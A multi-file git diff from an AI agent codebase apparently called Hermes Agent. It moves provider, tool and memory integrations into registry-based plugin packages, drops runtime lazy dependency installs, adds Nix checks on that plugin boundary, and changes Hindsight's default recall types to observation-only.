# "bedrock" overlay moved to plugin: hermes_agent_bedrock register()
# Plugins register via ctx.register_provider_overlay() and core merges lazily.
}
def _merge_plugin_overlays() -> None:
"""Merge plugin-registered provider overlays into HERMES_OVERLAYS.
Called lazily from ``resolve_provider`` so that plugins have had a
chance to register by the time we need the overlay data.
"""
global _plugin_overlays_merged
if _plugin_overlays_merged:
return
_plugin_overlays_merged = True
try:
from agent.plugin_registries import registries
for _name, _entry in registries.all_provider_overlays().items():
if _name not in HERMES_OVERLAYS:
HERMES_OVERLAYS[_name] = HermesOverlay(
transport=_entry.transport,
is_aggregator=_entry.is_aggregator,
auth_type=_entry.auth_type,
extra_env_vars=_entry.extra_env_vars,
base_url_override=_entry.base_url_override,
base_url_env_var=_entry.base_url_env_var,
)
# Also merge aliases from the plugin overlay entry
for _alias in _entry.aliases:
if _alias not in ALIASES:
ALIASES[_alias] = _name
except Exception:
pass
_plugin_overlays_merged = False
# -- Resolved provider -------------------------------------------------------
# The merged result of models.dev + overlay + user config.
@@ -335,11 +361,7 @@ ALIASES: Dict[str, str] = {
"tencent-cloud": "tencent-tokenhub",
"tencentmaas": "tencent-tokenhub",
# bedrock
"aws": "bedrock",
"aws-bedrock": "bedrock",
"amazon-bedrock": "bedrock",
"amazon": "bedrock",
# bedrock aliases moved to plugin: hermes_agent_bedrock register()
# arcee
"arcee-ai": "arcee",
@@ -426,6 +448,7 @@ def get_provider(name: str) -> Optional[ProviderDef]:
except Exception:
mdev_info = None
_merge_plugin_overlays()
overlay = HERMES_OVERLAYS.get(canonical)
if mdev_info is not None:
+25 -13
View File
@@ -976,11 +976,13 @@ def _resolve_azure_foundry_runtime(
auth_mode = "api_key"
else:
try:
from agent.azure_identity_adapter import (
EntraIdentityConfig,
SCOPE_AI_AZURE_DEFAULT,
build_token_provider,
)
from agent.plugin_registries import registries
_azure_ns = registries.get_provider_namespace("azure")
EntraIdentityConfig = _azure_ns.get("EntraIdentityConfig")
SCOPE_AI_AZURE_DEFAULT = _azure_ns.get("SCOPE_AI_AZURE_DEFAULT")
build_token_provider = _azure_ns.get("build_token_provider")
if not all([EntraIdentityConfig, SCOPE_AI_AZURE_DEFAULT, build_token_provider]):
raise ImportError("azure provider services not fully registered")
except Exception as exc:
raise AuthError(
"Azure Foundry Entra ID auth requires the 'azure-identity' "
@@ -1072,7 +1074,11 @@ def _resolve_explicit_runtime(
base_url = explicit_base_url or cfg_base_url or "https://api.anthropic.com"
api_key = explicit_api_key
if not api_key:
from agent.anthropic_adapter import resolve_anthropic_token
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token")
if resolve_anthropic_token is None:
raise ImportError("anthropic provider services not registered")
api_key = resolve_anthropic_token()
if not api_key:
@@ -1512,7 +1518,11 @@ def resolve_runtime_provider(
"config.yaml model section at a custom env var."
)
else:
from agent.anthropic_adapter import resolve_anthropic_token
from agent.plugin_registries import registries
_anthropic_ns = registries.get_provider_namespace("anthropic")
resolve_anthropic_token = _anthropic_ns.get("resolve_anthropic_token")
if resolve_anthropic_token is None:
raise ImportError("anthropic provider services not registered")
token = resolve_anthropic_token()
if not token:
raise AuthError(
@@ -1530,12 +1540,14 @@ def resolve_runtime_provider(
# AWS Bedrock (native Converse API via boto3)
if provider == "bedrock":
from agent.bedrock_adapter import (
has_aws_credentials,
resolve_aws_auth_env_var,
resolve_bedrock_region,
is_anthropic_bedrock_model,
)
from agent.plugin_registries import registries
_bedrock_ns = registries.get_provider_namespace("bedrock")
has_aws_credentials = _bedrock_ns.get("has_aws_credentials")
resolve_aws_auth_env_var = _bedrock_ns.get("resolve_aws_auth_env_var")
resolve_bedrock_region = _bedrock_ns.get("resolve_bedrock_region")
is_anthropic_bedrock_model = _bedrock_ns.get("is_anthropic_bedrock_model")
if not all([has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region, is_anthropic_bedrock_model]):
raise ImportError("bedrock provider services not fully registered")
# When the user explicitly selected bedrock (not auto-detected),
# trust boto3's credential chain — it handles IMDS, ECS task roles,
# Lambda execution roles, SSO, and other implicit sources that our
+24 -51
View File
@@ -2052,59 +2052,32 @@ def _setup_matrix():
save_env_value("MATRIX_ENCRYPTION", "true")
print_success("E2EE enabled")
matrix_pkg = "mautrix[encryption]" if want_e2ee else "mautrix"
# Use the central lazy-deps feature group so we install ALL of
# platform.matrix's dependencies (mautrix, Markdown, aiosqlite,
# asyncpg, aiohttp-socks) — not just mautrix itself. The previous
# hand-rolled ``pip install mautrix[encryption]`` left asyncpg /
# aiosqlite uninstalled and broke E2EE connect with
# ``No module named 'asyncpg'`` on every fresh install (#31116).
matrix_pkg = "hermes-agent[matrix]"
# Matrix deps are now a proper plugin package. Install it the normal way.
try:
from tools.lazy_deps import ensure as _lazy_ensure, feature_missing
_missing_before = feature_missing("platform.matrix")
if _missing_before:
print_info(
f"Installing {matrix_pkg} (+ {len(_missing_before)} runtime deps)..."
)
try:
_lazy_ensure("platform.matrix", prompt=False)
print_success(f"{matrix_pkg} installed")
except Exception as exc:
print_warning(
f"Install failed — run manually: pip install "
f"'mautrix[encryption]' asyncpg aiosqlite Markdown "
f"aiohttp-socks"
)
print_info(f" Error: {exc}")
__import__("hermes_agent_matrix")
except ImportError:
# tools.lazy_deps unavailable (extreme edge case — partial
# install). Fall back to the legacy single-package install
# path so the wizard still does *something*.
try:
__import__("mautrix")
except ImportError:
print_info(f"Installing {matrix_pkg}...")
import subprocess
uv_bin = shutil.which("uv")
if uv_bin:
result = subprocess.run(
[uv_bin, "pip", "install", "--python", sys.executable, matrix_pkg],
capture_output=True, text=True,
)
else:
result = subprocess.run(
[sys.executable, "-m", "pip", "install", matrix_pkg],
capture_output=True, text=True,
)
if result.returncode == 0:
print_success(f"{matrix_pkg} installed")
else:
print_warning(
f"Install failed — run manually: pip install "
f"'{matrix_pkg}' asyncpg aiosqlite Markdown aiohttp-socks"
)
if result.stderr:
print_info(f" Error: {result.stderr.strip().splitlines()[-1]}")
print_info(f"Installing {matrix_pkg}...")
import subprocess
uv_bin = shutil.which("uv")
if uv_bin:
result = subprocess.run(
[uv_bin, "pip", "install", "--python", sys.executable, matrix_pkg],
capture_output=True, text=True,
)
else:
result = subprocess.run(
[sys.executable, "-m", "pip", "install", matrix_pkg],
capture_output=True, text=True,
)
if result.returncode == 0:
print_success(f"{matrix_pkg} installed")
else:
print_warning(
f"Install failed — run manually: pip install '{matrix_pkg}'"
)
if result.stderr:
print_info(f" Error: {result.stderr.strip().splitlines()[-1]}")
print()
print_info("🔒 Security: Restrict who can use your bot")
+5 -1
View File
@@ -779,7 +779,9 @@ def speak_text(text: str) -> None:
_debug(f"speak_text: TTS begin (paused_recording={paused_recording})")
try:
from tools.tts_tool import text_to_speech_tool
from agent.plugin_registries import registries
_tts = registries.get_tool_provider("tts")
text_to_speech_tool = _tts.tool_functions.get("text_to_speech_tool") if _tts else None
tts_text = text[:4000] if len(text) > 4000 else text
tts_text = re.sub(r'```[\s\S]*?```', ' ', tts_text) # fenced code blocks
@@ -806,6 +808,8 @@ def speak_text(text: str) -> None:
f"tts_{time.strftime('%Y%m%d_%H%M%S')}.mp3",
)
if text_to_speech_tool is None:
raise ImportError("TTS plugin not registered")
_debug(f"speak_text: synthesizing {len(tts_text)} chars -> {mp3_path}")
text_to_speech_tool(text=tts_text, output_path=mp3_path)
+34 -32
View File
@@ -58,22 +58,10 @@ try:
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
except ImportError:
# First try lazy-installing the dashboard extras. Only the user actually
# running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps
# them out of every other install path. After install, re-import.
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("tool.dashboard", prompt=False)
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
except Exception:
raise SystemExit(
"Web UI requires fastapi and uvicorn.\n"
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
)
raise SystemExit(
"Web UI requires fastapi and uvicorn.\n"
"Install with: pip install 'hermes-agent[dashboard]'"
)
WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist"
_log = logging.getLogger(__name__)
@@ -1371,11 +1359,13 @@ def _anthropic_oauth_status() -> Dict[str, Any]:
The dashboard reports the highest-priority source that's actually present.
"""
try:
from agent.anthropic_adapter import (
read_hermes_oauth_credentials,
read_claude_code_credentials,
_HERMES_OAUTH_FILE,
)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
read_hermes_oauth_credentials = _anthropic.get("read_hermes_oauth_credentials")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
_HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE")
if read_hermes_oauth_credentials is None:
raise ImportError("anthropic plugin not registered")
except ImportError:
read_claude_code_credentials = None # type: ignore
read_hermes_oauth_credentials = None # type: ignore
@@ -1434,7 +1424,11 @@ def _claude_code_only_status() -> Dict[str, Any]:
when they also have a separate Hermes-managed PKCE login.
"""
try:
from agent.anthropic_adapter import read_claude_code_credentials
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
read_claude_code_credentials = _anthropic.get("read_claude_code_credentials")
if read_claude_code_credentials is None:
raise ImportError("anthropic plugin not registered")
creds = read_claude_code_credentials()
except Exception:
creds = None
@@ -1620,8 +1614,10 @@ async def disconnect_oauth_provider(provider_id: str, request: Request):
# want to undo a disconnect.
if provider_id in {"anthropic", "claude-code"}:
try:
from agent.anthropic_adapter import _HERMES_OAUTH_FILE
if _HERMES_OAUTH_FILE.exists():
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
_HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE")
if _HERMES_OAUTH_FILE is not None and _HERMES_OAUTH_FILE.exists():
_HERMES_OAUTH_FILE.unlink()
except Exception:
pass
@@ -1688,13 +1684,15 @@ _oauth_sessions_lock = threading.Lock()
# Guarded so hermes web still starts if anthropic_adapter is unavailable;
# Phase 2 endpoints will return 501 in that case.
try:
from agent.anthropic_adapter import (
_OAUTH_CLIENT_ID as _ANTHROPIC_OAUTH_CLIENT_ID,
_OAUTH_TOKEN_URL as _ANTHROPIC_OAUTH_TOKEN_URL,
_OAUTH_REDIRECT_URI as _ANTHROPIC_OAUTH_REDIRECT_URI,
_OAUTH_SCOPES as _ANTHROPIC_OAUTH_SCOPES,
_generate_pkce as _generate_pkce_pair,
)
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
_ANTHROPIC_OAUTH_CLIENT_ID = _anthropic.get("_OAUTH_CLIENT_ID")
_ANTHROPIC_OAUTH_TOKEN_URL = _anthropic.get("_OAUTH_TOKEN_URL")
_ANTHROPIC_OAUTH_REDIRECT_URI = _anthropic.get("_OAUTH_REDIRECT_URI")
_ANTHROPIC_OAUTH_SCOPES = _anthropic.get("_OAUTH_SCOPES")
_generate_pkce_pair = _anthropic.get("_generate_pkce")
if any(v is None for v in [_ANTHROPIC_OAUTH_CLIENT_ID, _ANTHROPIC_OAUTH_TOKEN_URL, _ANTHROPIC_OAUTH_REDIRECT_URI, _ANTHROPIC_OAUTH_SCOPES, _generate_pkce_pair]):
raise ImportError("anthropic plugin not registered")
_ANTHROPIC_OAUTH_AVAILABLE = True
except ImportError:
_ANTHROPIC_OAUTH_AVAILABLE = False
@@ -1732,7 +1730,11 @@ def _save_anthropic_oauth_creds(access_token: str, refresh_token: str, expires_a
Mirrors what auth_commands.add_command does so the dashboard flow leaves
the system in the same state as ``hermes auth add anthropic``.
"""
from agent.anthropic_adapter import _HERMES_OAUTH_FILE
from agent.plugin_registries import registries
_anthropic = registries.get_provider_namespace("anthropic")
_HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE")
if _HERMES_OAUTH_FILE is None:
raise ImportError("anthropic plugin not registered")
payload = {
"accessToken": access_token,
"refreshToken": refresh_token,
+9 -2
View File
@@ -147,8 +147,15 @@ def create_environment(
return DockerEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs)
elif env_type == "modal":
from tools.environments.modal import ModalEnvironment
return ModalEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs)
from agent.plugin_registries import registries
_modal = registries.get_tool_provider("modal")
_ModalEnvironment = _modal.environment_classes.get("ModalEnvironment") if _modal else None
if _ModalEnvironment is None:
raise ValueError(
"Modal backend selected but the hermes_agent_modal plugin is not loaded. "
"Ensure the modal plugin is installed and enabled."
)
return _ModalEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs)
else:
raise ValueError(f"Unknown environment type: {env_type}. Use 'local', 'docker', or 'modal'")
+233
View File
@@ -260,6 +260,239 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2)
echo "ok" > $out/result
'';
# ── Plugin architecture (hermetic core boundary) ───────────────────
#
# These checks prove that under NixOS (sealed venv, no pip install),
# the plugin system works correctly:
# 1. Core never imports from hermes_agent_* packages directly
# 2. Plugin registries are populated after discovery
# 3. Provider service namespaces are queryable
# 4. Optional plugins degrade gracefully (None returns, no crash)
# 5. No ensure() / lazy_deps / pip-install at runtime
# Check 1: Zero direct hermes_agent_* imports in core code
plugin-hermetic-boundary = pkgs.runCommand "hermes-plugin-hermetic-boundary" { } ''
set -e
echo "=== Checking core never imports from plugin packages ==="
# Search for direct imports from hermes_agent_* in core code
# (excluding plugins/, tests/, website/, and comments)
VIOLATIONS=$(${hermesVenv}/bin/python3 -c '
import subprocess, re, sys
result = subprocess.run(
["grep", "-rn",
"from hermes_agent_\\|import hermes_agent_",
"${hermes-agent}/share/hermes-agent"],
capture_output=True, text=True
)
lines = result.stdout.strip().split("\n") if result.stdout.strip() else []
# Filter: only .py files, not in plugins/ or tests/, not comments
violations = []
for line in lines:
if not line.endswith(".py"):
continue
parts = line.split(":", 2)
if len(parts) < 3:
continue
filepath, lineno, content = parts
# Skip plugin directories
if "/plugins/" in filepath:
continue
# Skip test directories
if "/tests/" in filepath or "/test_" in filepath:
continue
# Skip comments
stripped = content.lstrip()
if stripped.startswith("#"):
continue
violations.append(line)
for v in violations:
print(v)
sys.exit(1 if violations else 0)
' 2>&1 || true)
if [ -n "$VIOLATIONS" ]; then
echo "FAIL: Core code imports directly from plugin packages:"
echo "$VIOLATIONS"
exit 1
fi
echo "PASS: Zero direct hermes_agent_* imports in core"
echo "=== Checking no ensure() / LAZY_DEPS in core ==="
ENSURE_VIOLATIONS=$(grep -rn 'ensure(' ${hermes-agent}/share/hermes-agent/agent/ ${hermes-agent}/share/hermes-agent/hermes_cli/ --include='*.py' 2>/dev/null | grep -v '__pycache__' | grep -v '# ' || true)
if [ -n "$ENSURE_VIOLATIONS" ]; then
echo "FAIL: ensure() still used in core:"
echo "$ENSURE_VIOLATIONS"
exit 1
fi
echo "PASS: No ensure() calls in core code"
mkdir -p $out
echo "ok" > $out/result
'';
# Check 2: Plugin registries populate after discovery
plugin-registries-populate = pkgs.runCommand "hermes-plugin-registries-populate" { } ''
set -e
echo "=== Checking plugin registries populate after discovery ==="
export HOME=$(mktemp -d)
RESULT=$(${hermesVenv}/bin/python3 -c '
import json, sys
from hermes_cli.plugins import PluginManager
from agent.plugin_registries import registries
pm = PluginManager()
pm.discover_and_load(force=True)
out = {
"provider_services": list(registries._provider_services.keys()),
"platform_adapters": list(registries.platform_adapters.keys()),
"tool_providers": list(registries.tool_providers.keys()),
}
json.dump(out, sys.stdout)
' 2>/dev/null)
echo "Registry state: $RESULT"
# Verify provider services populated
PROV_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.provider_services | length')
if [ "$PROV_COUNT" -lt 1 ]; then
echo "FAIL: No provider services registered (expected >= 1)"
exit 1
fi
echo "PASS: $PROV_COUNT provider service(s) registered"
# Verify platform adapters populated
PLAT_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.platform_adapters | length')
if [ "$PLAT_COUNT" -lt 1 ]; then
echo "FAIL: No platform adapters registered (expected >= 1)"
exit 1
fi
echo "PASS: $PLAT_COUNT platform adapter(s) registered"
# Verify tool providers populated
TOOL_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.tool_providers | length')
if [ "$TOOL_COUNT" -lt 1 ]; then
echo "FAIL: No tool providers registered (expected >= 1)"
exit 1
fi
echo "PASS: $TOOL_COUNT tool provider(s) registered"
mkdir -p $out
echo "ok" > $out/result
'';
# Check 3: Specific provider service lookups work
plugin-provider-lookups = pkgs.runCommand "hermes-plugin-provider-lookups" { } ''
set -e
echo "=== Checking provider service lookups ==="
export HOME=$(mktemp -d)
RESULT=$(${hermesVenv}/bin/python3 -c '
import json, sys
from hermes_cli.plugins import PluginManager
from agent.plugin_registries import registries
pm = PluginManager()
pm.discover_and_load(force=True)
checks = {
"anthropic.resolve_anthropic_token": registries.get_provider_service("anthropic", "resolve_anthropic_token") is not None,
"bedrock.has_aws_credentials": registries.get_provider_service("bedrock", "has_aws_credentials") is not None,
"azure.is_token_provider": registries.get_provider_service("azure", "is_token_provider") is not None,
}
json.dump(checks, sys.stdout)
' 2>/dev/null)
echo "Lookup results: $RESULT"
for key in anthropic.resolve_anthropic_token bedrock.has_aws_credentials azure.is_token_provider; do
VALUE=$(echo "$RESULT" | ${pkgs.jq}/bin/jq --arg k "$key" '.[$k]')
if [ "$VALUE" != "true" ]; then
echo "FAIL: $key lookup returned $VALUE (expected true)"
exit 1
fi
echo "PASS: $key lookup works"
done
mkdir -p $out
echo "ok" > $out/result
'';
# Check 4: Missing plugins degrade gracefully (no crash)
plugin-missing-graceful = pkgs.runCommand "hermes-plugin-missing-graceful" { } ''
set -e
echo "=== Checking missing plugins degrade gracefully ==="
export HOME=$(mktemp -d)
${hermesVenv}/bin/python3 -c '
from agent.plugin_registries import registries
# Lookup from non-existent provider — should return None, not crash
result = registries.get_provider_service("nonexistent-provider", "some_function")
assert result is None, f"Expected None for missing provider, got {result}"
# Lookup from empty registry — should return None
result2 = registries.get_provider_namespace("no-such-provider")
assert result2 == {}, f"Expected empty dict for missing namespace, got {result2}"
# Lookup specific tool provider that does not exist
result3 = registries.get_tool_provider("nonexistent-tool")
assert result3 is None, f"Expected None for missing tool provider, got {result3}"
print("PASS: All missing-plugin lookups return None gracefully")
' 2>&1
echo "PASS: Missing plugins degrade gracefully (no crash)"
mkdir -p $out
echo "ok" > $out/result
'';
# Check 5: No runtime pip install / ensure in gateway/run.py
plugin-no-runtime-install = pkgs.runCommand "hermes-plugin-no-runtime-install" { } ''
set -e
echo "=== Checking no runtime pip install / ensure in core ==="
# Check gateway/run.py has no ensure() or pip install
GATEWAY=${hermes-agent}/share/hermes-agent/gateway/run.py
if [ -f "$GATEWAY" ]; then
if grep -q 'ensure(' "$GATEWAY" || grep -q 'pip install' "$GATEWAY"; then
echo "FAIL: gateway/run.py contains ensure() or pip install"
grep -n 'ensure(\|pip install' "$GATEWAY"
exit 1
fi
echo "PASS: gateway/run.py has no ensure()/pip install"
else
echo "SKIP: gateway/run.py not found in package"
fi
# Check run_agent.py has no ensure() or pip install
RUN_AGENT=${hermes-agent}/share/hermes-agent/run_agent.py
if [ -f "$RUN_AGENT" ]; then
if grep -q 'ensure(' "$RUN_AGENT" || grep -q 'pip install' "$RUN_AGENT"; then
echo "FAIL: run_agent.py contains ensure() or pip install"
grep -n 'ensure(\|pip install' "$RUN_AGENT"
exit 1
fi
echo "PASS: run_agent.py has no ensure()/pip install"
else
echo "SKIP: run_agent.py not found in package"
fi
# Check tools/lazy_deps.py is gone
LAZY_DEPS=${hermes-agent}/share/hermes-agent/tools/lazy_deps.py
if [ -f "$LAZY_DEPS" ]; then
echo "FAIL: tools/lazy_deps.py still exists should be removed"
exit 1
fi
echo "PASS: tools/lazy_deps.py removed"
mkdir -p $out
echo "ok" > $out/result
'';
# Regression guard: messaging deps live outside [all], so the
# #messaging variant must actually ship discord.py — otherwise
# `nix profile install .#messaging` regresses to the broken default.
+1 -1
View File
@@ -4,7 +4,7 @@ let
src = ../web;
npmDeps = pkgs.fetchNpmDeps {
inherit src;
hash = "sha256-6qhGuifHVtCeep1SiQdCUxBMr7UGhYpdMTvXhrQu/zA=";
hash = "sha256-RPPWPM0nEkwsaQHrkdEP+UMTZ2aF7JHUNfsIEnKt1l8=";
};
npm = hermesNpmLib.mkNpmPassthru { folder = "web"; attr = "web"; pname = "hermes-web"; };
+58693
View File
File diff suppressed because it is too large Load Diff
+7
View File
@@ -0,0 +1,7 @@
"""Bridge module — delegates plugin registration to hermes_agent_dashboard."""
def register(ctx):
"""Plugin entry point — delegates to the inner hermes_agent_dashboard package."""
from hermes_agent_dashboard import register as _inner_register
_inner_register(ctx)
@@ -0,0 +1,6 @@
"""Hermes Agent web dashboard."""
def register(ctx):
"""Plugin entry point — dashboard registers via ctx.register_tool_provider_entry()."""
pass
+6
View File
@@ -0,0 +1,6 @@
name: dashboard
version: 0.1.0
description: Web dashboard (FastAPI + uvicorn)
kind: backend
provides_tools: ["dashboard"]
provides_hooks: []
+20
View File
@@ -0,0 +1,20 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-dashboard"
version = "0.1.0"
description = "Hermes Agent web dashboard (FastAPI + Uvicorn)"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"fastapi==0.133.1",
"uvicorn[standard]==0.41.0",
]
[project.entry-points."hermes_agent.plugins"]
dashboard = "hermes_agent_dashboard:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_dashboard*"]
+7
View File
@@ -0,0 +1,7 @@
"""Bridge module — delegates plugin registration to hermes_agent_fal."""
def register(ctx):
"""Plugin entry point — delegates to the inner hermes_agent_fal package."""
from hermes_agent_fal import register as _inner_register
_inner_register(ctx)
@@ -0,0 +1,36 @@
"""hermes-agent-fal: FAL.ai SDK plumbing plugin for Hermes Agent."""
from hermes_agent_fal.fal_common import ( # noqa: F401
import_fal_client,
_ManagedFalSyncClient,
_extract_http_status,
_normalize_fal_queue_url_format,
)
def register(ctx):
"""Entry point for the hermes_agent.plugins entry point group.
Registers FAL SDK plumbing (import_fal_client, _ManagedFalSyncClient,
etc.) in the plugin capability registry so core code can look them
up without importing from ``hermes_agent_fal`` directly.
"""
from hermes_agent_fal.fal_common import (
import_fal_client,
_ManagedFalSyncClient,
_extract_http_status,
_normalize_fal_queue_url_format,
)
ctx.register_tool_provider_entry(
name="fal",
tool_functions={
"import_fal_client": import_fal_client,
},
constants={
"_normalize_fal_queue_url_format": _normalize_fal_queue_url_format,
},
config_functions={
"_ManagedFalSyncClient": _ManagedFalSyncClient,
"_extract_http_status": _extract_http_status,
},
)
@@ -2,9 +2,8 @@
Holds the stateless atoms that every FAL-backed tool needs:
* :func:`import_fal_client` lazy import + ``lazy_deps`` integration so
``fal_client`` isn't pulled at cold start (it added ~64 ms per CLI
invocation when imported eagerly).
* :func:`import_fal_client` lazy import so ``fal_client`` isn't pulled at
cold start (it added ~64 ms per CLI invocation when imported eagerly).
* :class:`_ManagedFalSyncClient` wrapper that drives a Nous-managed
fal-queue gateway through the standard ``fal_client.SyncClient``
primitives.
@@ -31,8 +30,7 @@ from urllib.parse import urlencode
def import_fal_client() -> Any:
"""Import ``fal_client`` (via ``lazy_deps`` when available) and return
the module reference.
"""Import ``fal_client`` and return the module reference.
Callers are responsible for caching the result on their own module
global keeping per-module globals lets tests monkey-patch the
@@ -41,13 +39,6 @@ def import_fal_client() -> Any:
Raises :class:`ImportError` if the package is genuinely unavailable.
"""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("image.fal", prompt=False)
except ImportError:
pass
except Exception as exc: # noqa: BLE001 — lazy_deps surfaces install hints
raise ImportError(str(exc))
import fal_client # type: ignore # noqa: WPS433 — intentionally lazy
return fal_client
+6
View File
@@ -0,0 +1,6 @@
name: fal
version: 0.1.0
description: FAL.ai image generation backend
kind: backend
provides_tools: ["image_gen"]
provides_hooks: []
+19
View File
@@ -0,0 +1,19 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-fal"
version = "0.1.0"
description = "FAL.ai SDK plumbing plugin for Hermes Agent"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"fal-client==0.13.1",
]
[project.entry-points."hermes_agent.plugins"]
fal = "hermes_agent_fal:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_fal*"]
+9
View File
@@ -75,8 +75,17 @@ Config file: `~/.hermes/hindsight/config.json`
| `recall_prompt_preamble` | — | Custom preamble for recalled memories in context |
| `recall_tags` | — | Tags to filter when searching memories |
| `recall_tags_match` | `any` | Tag matching mode: `any` / `all` / `any_strict` / `all_strict` |
| `recall_types` | `observation` | Fact types surfaced by recall (both auto-recall and the `hindsight_recall` tool). Comma-separated string or JSON list. **Default narrowed to `observation` only** (see "Behavior change" below). Set to `observation,world,experience` to also include raw facts. |
| `auto_recall` | `true` | Automatically recall memories before each turn |
> **Behavior change — `recall_types` defaults to `observation` only.**
>
> Previously recall returned all three fact types. It now returns only observations.
>
> Per [Hindsight's docs](https://hindsight.vectorize.io/developer/observations), observations are the **consolidated** knowledge layer Hindsight builds on top of raw facts: deduplicated beliefs grounded in evidence, refined as new facts arrive, with proof counts and freshness signals. Raw `world` / `experience` facts are the individual supporting evidence that feeds them. For per-turn context injection, observations are denser per token and avoid feeding the model multiple raw facts that one observation already summarizes.
>
> Restore the broad recall with `"recall_types": "observation,world,experience"` (string or JSON list) in `~/.hermes/hindsight/config.json`. This applies to **both** auto-recall and the `hindsight_recall` tool — both read the same `recall_types` setting (the tool schema has no per-call `types` argument), so narrowing the default narrows both paths.
### Retain
| Key | Default | Description |
+22 -4
View File
@@ -579,7 +579,15 @@ class HindsightMemoryProvider(MemoryProvider):
# Recall controls
self._auto_recall = True
self._recall_max_tokens = 4096
self._recall_types: list[str] | None = None
# Default to observation-only recall. Observations are Hindsight's
# consolidated knowledge layer — deduplicated, evidence-grounded
# beliefs built from many raw facts, with proof counts and
# freshness signals (see hindsight.vectorize.io/developer/observations).
# Including raw world/experience facts re-ships the supporting
# evidence that observations already summarize, burning the
# `recall_max_tokens` budget. Users can restore the broader
# recall via the `recall_types` config key.
self._recall_types: list[str] = ["observation"]
self._recall_prompt_preamble = ""
self._recall_max_input_chars = 800
@@ -856,6 +864,7 @@ class HindsightMemoryProvider(MemoryProvider):
{"key": "retain_assistant_prefix", "description": "Label used before assistant turns in retained transcripts", "default": "Assistant"},
{"key": "recall_tags", "description": "Tags to filter when searching memories (comma-separated)", "default": ""},
{"key": "recall_tags_match", "description": "Tag matching mode for recall", "default": "any", "choices": ["any", "all", "any_strict", "all_strict"]},
{"key": "recall_types", "description": "Fact types to surface on recall — applies to both auto-recall and the hindsight_recall tool (comma-separated or list). Defaults to observation-only — observations are Hindsight's consolidated, deduplicated, evidence-grounded knowledge layer; raw world/experience facts are the supporting evidence observations already summarize. Set to e.g. 'observation,world,experience' to also include raw facts.", "default": "observation"},
{"key": "auto_recall", "description": "Automatically recall memories before each turn", "default": True},
{"key": "auto_retain", "description": "Automatically retain conversation turns", "default": True},
{"key": "retain_every_n_turns", "description": "Retain every N turns (1 = every turn)", "default": 1},
@@ -879,8 +888,7 @@ class HindsightMemoryProvider(MemoryProvider):
+ (f": {reason}" if reason else "")
)
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("memory.hindsight", prompt=False)
from hindsight import HindsightEmbedded # noqa: F401 — side-effect import
except ImportError:
pass
except Exception as _e:
@@ -1187,7 +1195,17 @@ class HindsightMemoryProvider(MemoryProvider):
# Recall controls
self._auto_recall = self._config.get("auto_recall", True)
self._recall_max_tokens = int(self._config.get("recall_max_tokens", 4096))
self._recall_types = self._config.get("recall_types") or None
# Default narrows recall to observation-only; pass an explicit
# `recall_types` list in config.json to broaden (e.g. include
# "world" / "experience") or to disable the filter entirely.
configured_types = self._config.get("recall_types")
if configured_types is None:
self._recall_types = ["observation"]
elif isinstance(configured_types, str):
# Allow comma-separated strings for parity with recall_tags.
self._recall_types = [t.strip() for t in configured_types.split(",") if t.strip()]
else:
self._recall_types = list(configured_types) or ["observation"]
self._recall_prompt_preamble = self._config.get("recall_prompt_preamble", "")
self._recall_max_input_chars = int(self._config.get("recall_max_input_chars", 800))
self._retain_async = self._config.get("retain_async", True)
+19
View File
@@ -0,0 +1,19 @@
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "hermes-agent-hindsight"
version = "1.0.0"
description = "Hindsight long-term memory with knowledge graph for Hermes Agent"
requires-python = ">=3.11"
dependencies = [
"hermes-agent",
"hindsight-client==0.6.1",
]
[project.entry-points."hermes_agent.plugins"]
hindsight = "hermes_agent_hindsight:register"
[tool.setuptools.packages.find]
include = ["hermes_agent_hindsight*"]
+2 -13
View File
@@ -745,23 +745,12 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho:
"For local instances, set HONCHO_BASE_URL instead."
)
# Lazy-install the honcho SDK on demand. ensure() honors
# Import the honcho SDK (installed via hermes-agent-honcho package).
# security.allow_lazy_installs (default true). On failure we surface
# the original ImportError-shape message so existing callers still get
# the "go run hermes honcho setup" hint they used to.
try:
from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure
_lazy_ensure("memory.honcho", prompt=False)
except ImportError:
# lazy_deps module missing — fall through to the raw import below.
